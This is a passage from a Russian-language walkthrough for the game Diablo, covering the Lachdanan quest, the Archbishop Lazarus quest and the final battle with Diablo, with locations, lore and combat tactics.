Леорик приказал своим телохранителям убить «нечестивца» Лакданана, и тот вынужден был защищаться. В итоге воины Лакданана уцелели и смогли окружить Леорика. Тот проклинал их и ненавидел всем сердцем, и Лакданан, видя, что король растерял остатки разума, убил его своим же мечом. Перед смертью Леорик проклял всех, кто был рядом в час его гибели, и поэтому Лакданан обречен скитаться по лабиринту, кишащему монстрами, не в силах обрести спасение. Единственный из всех, он пока еще может противостоять безумию, которое овладело его воинами. Освободить его может лишь Золотой эликсир , магия которого способна разрушить чары, наложенные падшим монархом.
Найти этот Эликсир можно на 15 уровне лабиринта: ищите ярко-золотой флакон. Он бросается в глаза, и пропустить его вы не сможете. Когда вы принесете Эликсир Лакданану, он подарит вам свой шлем, выпьет снадобье и умрет, освободив таким образом свою душу из плена.
Награда : Вуаль Стали , шлем с мощными магическими характеристиками.

15) Архиепископ Лазарь , обязательный квест
Локация : 15 уровень, преисподняя
Выдает : Жезл Лазаря
На 15 уровне есть Мерзкая стойка , окруженная трупами людей и свечами в канделябрах. Располагается она неподалеку от красной пентаграммы на полу. На самой стойке вы сможете найти Жезл Лазаря, который и положит начало этому обязательному квесту. Жезл необходимо отнести старейшине Декарду Кейну , который с ужасом расскажет вам о значении этого жезла. Оказывается, старец давно уже подозревал, что Лазарь – косвенная причина несчастий, происходящих в городе, однако теперь есть конкретные доказательства этому. Кейн расскажет, что единственного наследника Леорика, принца Альбрехта, похитил именно Лазарь, видимо, чтобы вернуть к жизни своего темного хозяина, Владыку Ужаса, Диабло. И мальчик был им необходим для темного ритуала. Преданный, Лазарь будет сражаться до последней капли крови, поэтому прежде чем искать Диабло, надо сначала убить предателя-архиепископа, чтобы он не мог чинить козни, оставшись за нашей спиной.
После этого над пентаграммой появится Красный портал , ведущий к Тайному убежищу Лазаря . Именно там укрывается наш враг, но добраться до него будет не так-то просто. Сначала вам нужно будет победить две группы врагов – суккубов и магов, которые ждут вас в комнатах справа и слева от основного коридора. В каждой из комнат вы можете найти Книги подлости , читая которые, вы будете телепортироваться в новые уголки Убежища. Как только вы обследуете все доступные области, возвращайтесь на начало уровня и вставайте на портал-пентаграмму. Она перенесет вас в последнюю комнату, посреди которой за алтарем для жертвоприношений вас ждет предатель Лазарь. Он не один: рядом с ним – две уникальные демонессы-суккубы, а чуть ниже – еще одна группа суккубов. Все монстры – дистанционщики, поэтому приготовьтесь к серьезной битве.
Вам могут помочь следующие заклинания: Голем , Каменное проклятие , Апокалипсис . Наиболее удобная, на мой взгляд, тактика – сначала разобраться с группой суккубов внизу комнаты, чтобы было место для маневров. Если вы нашли свиток Апокалипсиса, подбегайте к суккубам и кастуйте его на них. На нормале этим ведьмам одного свитка вполне хватает, чтобы погибнуть. Оставшихся суккубов и Лазаря можно отвлекать Големом, замедлять Каменным проклятием и добивать. Самое важное при игре любым персонажем – не оказаться под перекрестным огнем суккубов и Лазаря, потому что повреждений они наносят много.
Победив Лазаря, возвращайтесь на начало уровня, идите снова в портал и расскажите обо всем Кейну. Он закроет квест и даст вам последнее задание в игре. Смерть Лазаря активирует портал-пентаграмму, и вы сможете спуститься на последний уровень для финальной битвы.

16) Диабло , обязательный квест
Локация : 16 уровень, преисподняя
Выдает : старец Декард Кейн
Кейн расскажет, что убитый мальчик, которого вы видели в Убежище Лазаря, - не принц Альбрехт. Сам принц, как полагает мудрец, стал телесной оболочкой Владыки Ужаса, и теперь все, что вы можете сделать – это сразиться с ним, чтобы обезопасить Тристрам и положить конец этим кошмарам. Спускайтесь вниз, на 16 уровень.
Он разделен на четыре участка и населен двумя типами монстров: это кровавые рыцари и адвокаты-маги. Из четырех участков временно закрыты три, и открываются они постепенно системой рычагов, т.е. зачистив один участок и открыв рычаги, вы сможете попасть дальше. Чтобы сразиться с Диабло, вам сначала нужно будет одолеть множество рыцарей и адвокатов и поднять все рычаги. Сам Владыка ужаса ждет вас в западной нижней комнате, окруженный своими приспешниками. Он атакует заклинанием Апокалипсис, поэтому будьте с ним очень осторожны. Удобно выманить его к себе, чтобы меньше сражаться с его защитниками. Однако это как получится. Впрочем, ваш прокачанный герой, если дошел до Диабло, уже не должен испытывать с ним особенных трудностей. После смерти демона сохраниться нельзя! Поэтому прежде чем добивать Диабло, убедитесь, что вы подобрали все ваши вещи, золото и так далее. Победив его, смотрите финальный ролик.. ;)